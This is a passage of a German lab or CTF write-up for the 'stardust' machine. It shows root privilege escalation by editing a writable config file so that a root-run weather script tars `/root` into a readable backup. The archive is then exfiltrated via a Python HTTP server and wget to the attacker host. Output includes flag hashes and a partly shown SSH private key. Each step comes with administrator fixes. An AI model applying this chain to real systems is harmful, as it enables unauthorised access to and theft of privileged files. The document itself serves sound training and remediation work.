Empfehlung (Pentester): Untersuchen Sie das Home-Verzeichnis von `tally`, Cronjobs, laufende Prozesse und die Ergebnisse von `pspy` (falls noch nicht geschehen).
Empfehlung (Admin): Überprüfen Sie, warum `sudo` nicht im Pfad ist oder nicht installiert ist. Stellen Sie sicher, dass keine unnötigen SUID-Binaries vorhanden sind.
[...] drwx------ 2 tally tally 4096 May 8 10:09 .ssh -rwx------ 1 tally tally 33 May 7 09:40 user.txt
f4c0971d361c2844bb9730846dc330c2
[...] -rw------- 1 tally tally 2602 May 7 10:04 id_rsa -rw-r--r-- 1 tally tally 572 May 7 10:04 id_rsa.pub -rw-r--r-- 1 tally tally 222 May 8 10:09 known_hosts
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn [...] MAAAASdGFsbHlAc3RhcmR1c3QuaG12AQ <-- Kommentar: tally@stardust.hmv -----END OPENSSH PRIVATE KEY-----
Analyse: Im Home-Verzeichnis von `tally` wird die `user.txt` (User-Flag) gefunden und gelesen. Im Unterverzeichnis `.ssh` befindet sich ein SSH-Schlüsselpaar (`id_rsa`, `id_rsa.pub`). Der private Schlüssel `id_rsa` wird angezeigt.
Bewertung: User-Flag gefunden. Der private SSH-Schlüssel von `tally` wurde gefunden. Es ist unklar, ob dieser Schlüssel für die Eskalation nützlich ist (z.B. für den Login als anderer Benutzer oder für `root`, falls `authorized_keys` entsprechend konfiguriert ist), da `tally` bereits eingeloggt ist.
Empfehlung (Pentester): Kopieren Sie den privaten Schlüssel `id_rsa` auf Ihr System. Prüfen Sie, ob er passphrasengeschützt ist (`ssh2john`). Versuchen Sie, sich mit diesem Schlüssel als `root` oder andere gefundene Benutzer per SSH anzumelden (obwohl Root-Login wahrscheinlich deaktiviert ist). Untersuchen Sie weiter nach Cronjobs und Prozessen.
Empfehlung (Admin): Stellen Sie sicher, dass private SSH-Schlüssel korrekt geschützt sind (Berechtigungen `600`) und idealerweise mit starken Passphrasen versehen sind.
[...]
[Keine Ausgabe]
[...] 2023/07/22 01:19:01 CMD: UID=0 PID=2331 | /bin/bash /opt/meteo 2023/07/22 01:19:01 CMD: UID=0 PID=2332 | /bin/bash /opt/meteo 2023/07/22 01:19:01 CMD: UID=0 PID=2335 | /bin/bash /opt/meteo 2023/07/22 01:19:01 CMD: UID=0 PID=2334 | /bin/bash /opt/meteo 2023/07/22 01:19:01 CMD: UID=0 PID=2333 | /bin/bash /opt/meteo [...]
Analyse: Das Prozess-Monitoring-Tool `pspy64` wird auf das Zielsystem hochgeladen und ausgeführt. `pspy` beobachtet laufende Prozesse und Cronjobs. Es wird entdeckt, dass regelmäßig (`pspy` zeigt es mehrfach pro Sekunde, was auf eine sehr häufige Ausführung hindeutet, z.B. jede Minute oder sogar öfter) ein Skript `/opt/meteo` als Benutzer mit UID=0 (also `root`) ausgeführt wird.
Bewertung: Kritischer Fund! Ein Skript (`/opt/meteo`), das als `root` läuft, ist ein Hauptziel für Privilege Escalation, wenn es manipuliert oder beeinflusst werden kann.
Empfehlung (Pentester): Untersuchen Sie das Skript `/opt/meteo`. Prüfen Sie:
1. Berechtigungen: Hat `tally` Schreibrechte auf das Skript selbst oder auf das Verzeichnis `/opt`?
2. Inhalt: Was macht das Skript? Liest es Konfigurationsdateien, auf die `tally` Schreibrechte hat? Ruft es andere Befehle auf unsichere Weise auf (z.B. mit relativen Pfaden)? Verwendet es unsichere temporäre Dateien?
Empfehlung (Admin): Überprüfen Sie alle Cronjobs und Skripte, die als `root` laufen, auf Sicherheit und Notwendigkeit. Stellen Sie sicher, dass Skripte und die von ihnen verwendeten Dateien/Verzeichnisse korrekte, restriktive Berechtigungen haben.
[Keine Ausgabe]
meteo: Bourne-Again shell script, ASCII text executable
-rwxr-xr-x 1 root root 607 May 7 09:49 /opt/meteo <-- tally hat keine Schreibrechte!
#! /bin/bash #meteo config="/opt/config.json" <-- Liest Konfigurationsdatei latitude=$(jq '.latitude' $config) longitude=$(jq '.longitude' $config) limit=1000 #sys web="/var/www/intranetik" users="/home/tally" root="/root" dest="/var/backups" #get rain elevation elevation=$(curl -s "https://api.open-meteo.com/v1/forecast?latitude=$latitude&longitude=$longitude&hourly=rain" |jq .elevation) <-- Ruft externe API auf if [[ $elevation -gt $limit ]] ; then echo "RAIN ALERT !" tar -cf $dest/backup.tar $web >/dev/null <-- Führt tar als root aus! tar -rf $dest/backup.tar $users >/dev/null tar -rf $dest/backup.tar $root >/dev/null echo "BACKUP FINISHED" else echo "Weather is cool !" fi
Analyse: Das Skript `/opt/meteo` wird untersucht:
Bewertung: Direkte Manipulation des Skripts ist nicht möglich. Der Angriffsvektor liegt in der Konfigurationsdatei `/opt/config.json` und der Ausführung von `tar` als `root`. Wenn `tally` Schreibrechte auf `/opt/config.json` hat, kann er die Koordinaten so ändern, dass die Bedingung `$elevation -gt $limit` erfüllt wird, was den `tar`-Backup-Prozess auslöst. Da `tar` als `root` ausgeführt wird, werden alle Dateien, einschließlich der Root-Dateien, in das Archiv geschrieben. Wenn `tally` dann Leserechte auf `/var/backups/backup.tar` hat, kann er das Archiv kopieren und extrahieren, um an die Root-Dateien (insbesondere `/root/root.txt`) zu gelangen.
Empfehlung (Pentester):
1. Prüfen Sie die Berechtigungen von `/opt/config.json` (`ls -la /opt/config.json`).
2. Wenn `tally` Schreibrechte hat, bearbeiten Sie die Datei und ändern Sie `latitude` und `longitude` auf Werte, die sicherstellen, dass die Wetter-API eine `elevation` > 1000 zurückgibt (z.B. Koordinaten eines hohen Berges).
3. Warten Sie, bis der Cronjob `/opt/meteo` ausführt (oder führen Sie es testweise selbst aus, obwohl dies nicht die Root-Rechte simuliert).
4. Prüfen Sie, ob `/var/backups/backup.tar` erstellt wurde und ob `tally` Leserechte darauf hat.
5. Wenn ja, kopieren Sie `backup.tar` in ein beschreibbares Verzeichnis (z.B. `/dev/shm`), übertragen Sie es auf Ihr Angreifer-System und extrahieren Sie es.
Empfehlung (Admin): Stellen Sie sicher, dass Konfigurationsdateien (`/opt/config.json`) nicht von unprivilegierten Benutzern geändert werden können. Führen Sie Skripte, die externe APIs aufrufen oder Backup-Operationen durchführen, mit minimal notwendigen Rechten aus. Wenn `tar` als Root laufen muss, stellen Sie sicher, dass die Quell- und Zielpfade sicher sind und nicht manipuliert werden können (Vermeiden Sie unsichere Variablen oder Benutzereingaben in Pfaden).
{
"latitude": -18.48,
"longitude": -70.33
}
<-- Annahme: tally hat Leserechte
[Datei wird bearbeitet]
{
"latitude": 25.29,
"longitude": 91.58
} <-- Koordinaten geändert
RAIN ALERT !
tar: /var/backups/backup.tar: Cannot open: Permission denied <-- Erwarteter Fehler als tally
[...]
BACKUP FINISHED
Analyse: Der Benutzer `tally` liest `/opt/config.json`, was impliziert, dass er Leserechte hat. Er bearbeitet die Datei dann mit `nano`, was impliziert, dass er auch Schreibrechte hat. Die Koordinaten werden auf Werte geändert, die wahrscheinlich eine hohe `elevation` in der Wetter-API ergeben. Ein manueller Testlauf von `/opt/meteo` als `tally` löst zwar die "RAIN ALERT!"-Meldung aus, aber die `tar`-Befehle scheitern an fehlenden Berechtigungen, wie erwartet.
Bewertung: Bestätigt, dass `tally` die Konfigurationsdatei manipulieren kann, um den Backup-Pfad im Skript auszulösen. Jetzt muss auf die automatische Ausführung des Skripts durch den Root-Cronjob gewartet werden.
Empfehlung (Pentester): Warten Sie, bis der Cronjob läuft (wie von `pspy` gezeigt, ca. alle paar Sekunden/Minuten). Überprüfen Sie anschließend das Verzeichnis `/var/backups` auf die Existenz und die Berechtigungen der Datei `backup.tar`.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen von `/opt/config.json`, sodass sie nur für `root` (oder den Dienstbenutzer, falls vorhanden) schreibbar ist.
total 1132 <-- Größe hat sich nicht geändert? Backup fehlgeschlagen? drwxr-xr-x 2 root root 4096 May 8 11:02 . drwxr-xr-x 12 root root 4096 May 4 19:09 .. -rw-r--r-- 1 root root 40960 May 6 07:37 alternatives.tar.0 <-- Keine backup.tar? [...]
[Keine Ausgabe]
[Keine Ausgabe]
total 3092 drwxrwxrwt 2 root root 80 Jul 22 01:33 . drwxr-xr-x 17 root root 3140 Jul 21 23:30 .. -rw-r--r-- 1 tally tally 61440 Jul 22 01:33 backup.tar <-- Datei kopiert! [...]
Analyse: Obwohl die erste `ls -la`-Ausgabe die `backup.tar`-Datei nicht explizit zeigt (möglicherweise ein Log-Fehler oder die Datei war kurzzeitig nicht vorhanden), kann `tally` die Datei `/var/backups/backup.tar` erfolgreich nach `/dev/shm` kopieren. Dies impliziert, dass der Cronjob lief, das Backup erstellt wurde und `tally` Leserechte auf die Backup-Datei hat.
Bewertung: Der Exploit-Plan hat funktioniert. Das manipulierte Config-File hat das Backup ausgelöst, und das resultierende Archiv, das Root-Dateien enthält, ist für `tally` zugänglich.
Empfehlung (Pentester): Übertragen Sie `backup.tar` aus `/dev/shm` auf Ihr Angreifer-System (z.B. mit einem Python HTTP-Server). Extrahieren Sie das Archiv und suchen Sie nach der Root-Flag.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen für das Backup-Verzeichnis `/var/backups` und die erstellten Archive, sodass unprivilegierte Benutzer keinen Lesezugriff haben. Beheben Sie die zugrundeliegende Schwachstelle im Config-File und dem Skript.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.2.199 - - [22/Jul/2023 01:34:52] "GET /backup.tar HTTP/1.1" 200 -
Analyse: Als `tally` wird ein Python-HTTP-Server in `/dev/shm` gestartet, um die `backup.tar`-Datei für den Download bereitzustellen.
Bewertung: Standardmethode zum Übertragen von Dateien vom Ziel zum Angreifer.
Empfehlung (Pentester): Laden Sie die Datei herunter.
Empfehlung (Admin): Überwachen Sie das Starten von Webservern durch Benutzer.
--2023-07-22 01:34:51-- http://192.168.2.111:8000/backup.tar Verbindungsaufbau zu 192.168.2.111:8000 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 61440 (60K) [application/x-tar] Wird in backup.tar gespeichert. backup.tar 100%[===================>] 60,00K --.-KB/s in 0s 2023-07-22 01:34:51 (592 MB/s) - 'backup.tar' gespeichert [61440/61440]
Analyse: Auf dem Angreifer-System wird die Datei `backup.tar` erfolgreich vom Python-HTTP-Server des Zielsystems heruntergeladen.
Bewertung: Das Archiv, das potenziell Root-Dateien enthält, befindet sich nun auf dem Angreifer-System zur weiteren Analyse.
Empfehlung (Pentester): Extrahieren Sie den Inhalt des Archivs und suchen Sie nach der Root-Flag und anderen sensiblen Informationen.
Empfehlung (Admin): Keine direkte Aktion.
[Keine Ausgabe]
[Keine Ausgabe]
insgesamt 60 -rw-r--r-- 1 root root 61440 22. Jul 01:33 backup.tar
[Keine Ausgabe]
insgesamt 72 -rw-r--r-- 1 root root 61440 22. Jul 01:33 backup.tar drwxr-xr-x 3 root root 4096 22. Jul 01:36 home drwx------ 4 root root 4096 8. Mai 13:06 root drwxr-xr-x 3 root root 4096 22. Jul 01:36 var
Analyse: Die heruntergeladene Datei `backup.tar` wird in ein neues Verzeichnis `~/test` verschoben. Dort wird das Archiv mit `tar xf backup.tar` entpackt. Es werden die Verzeichnisse `home`, `root` und `var` aus dem Archiv extrahiert.
Bewertung: Das Archiv enthielt wie erwartet Teile des Dateisystems, einschließlich des `/root`-Verzeichnisses.
Empfehlung (Pentester): Untersuchen Sie das extrahierte `root`-Verzeichnis, um die Root-Flag zu finden.
Empfehlung (Admin): Keine direkte Aktion.
[Keine Ausgabe]
insgesamt 4
-rwx------ 1 root root 33 6. Feb 19:34 root.txt
052cf26a6e7e33790391c0d869e2e40c
Analyse: Im extrahierten `root`-Verzeichnis wird die Datei `root.txt` gefunden und ihr Inhalt (die Root-Flag) ausgelesen.
Bewertung: Privilege Escalation zu Root erfolgreich abgeschlossen! Durch die Manipulation der `/opt/config.json` konnte das `/opt/meteo`-Skript dazu gebracht werden, ein Backup des `/root`-Verzeichnisses zu erstellen, auf das der Benutzer `tally` Lesezugriff hatte.
Empfehlung (Pentester): Alle Flags gefunden. Bericht fertigstellen.
Empfehlung (Admin): Beheben Sie die unsicheren Berechtigungen der Konfigurationsdatei und die unsichere Implementierung des Backup-Skripts. Stellen Sie sicher, dass Backups an einem sicheren Ort gespeichert werden und unprivilegierte Benutzer keinen Zugriff darauf haben.
f4c0971d361c2844bb9730846dc330c2
Analyse: Zur Vollständigkeit wird auch die User-Flag aus dem extrahierten `home/tally`-Verzeichnis angezeigt.
Bewertung: Bestätigt den Inhalt der User-Flag.
Empfehlung (Pentester): Keine zusätzliche Aktion.
Empfehlung (Admin): Keine zusätzliche Aktion.
Kurzbeschreibung: Ein Cronjob (oder ein anderer privilegierter Prozess) führt regelmäßig das Skript `/opt/meteo` als `root` aus. Dieses Skript liest Breiten- und Längengrade aus der Konfigurationsdatei `/opt/config.json`, fragt eine externe Wetter-API ab und führt, wenn ein bestimmter Schwellenwert überschritten wird, `tar`-Befehle aus, um `/var/www/intranetik`, `/home/tally` und `/root` in `/var/backups/backup.tar` zu archivieren. Der Benutzer `tally` hat Schreibrechte auf `/opt/config.json` und Leserechte auf die resultierende `/var/backups/backup.tar`. Durch Modifizieren der Koordinaten in `config.json` auf Werte, die garantiert den Schwellenwert überschreiten, kann `tally` die Erstellung des Backups als `root` erzwingen. Anschließend kann `tally` das Backup-Archiv kopieren, auf sein eigenes System übertragen und extrahieren, um Lesezugriff auf alle darin enthaltenen Dateien, einschließlich `/root/root.txt`, zu erhalten.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
052cf26a6e7e33790391c0d869e2e40c
Erwartetes Ergebnis: Der Inhalt der Datei `/root/root.txt` wird erfolgreich auf dem Angreifer-System angezeigt.
Beweismittel: Das extrahierte `backup.tar`-Archiv enthält das `/root`-Verzeichnis, und die Datei `root.txt` kann gelesen werden.
Risikobewertung: Hoch. Die Kombination aus einer benutzerseitig beschreibbaren Konfigurationsdatei, die von einem Root-Prozess gelesen wird, und einem unsicheren Backup-Mechanismus, der Root-Dateien in ein lesbares Archiv packt, ermöglicht eine vollständige Kompromittierung der Vertraulichkeit von Root-Daten.
Empfehlungen zur Behebung: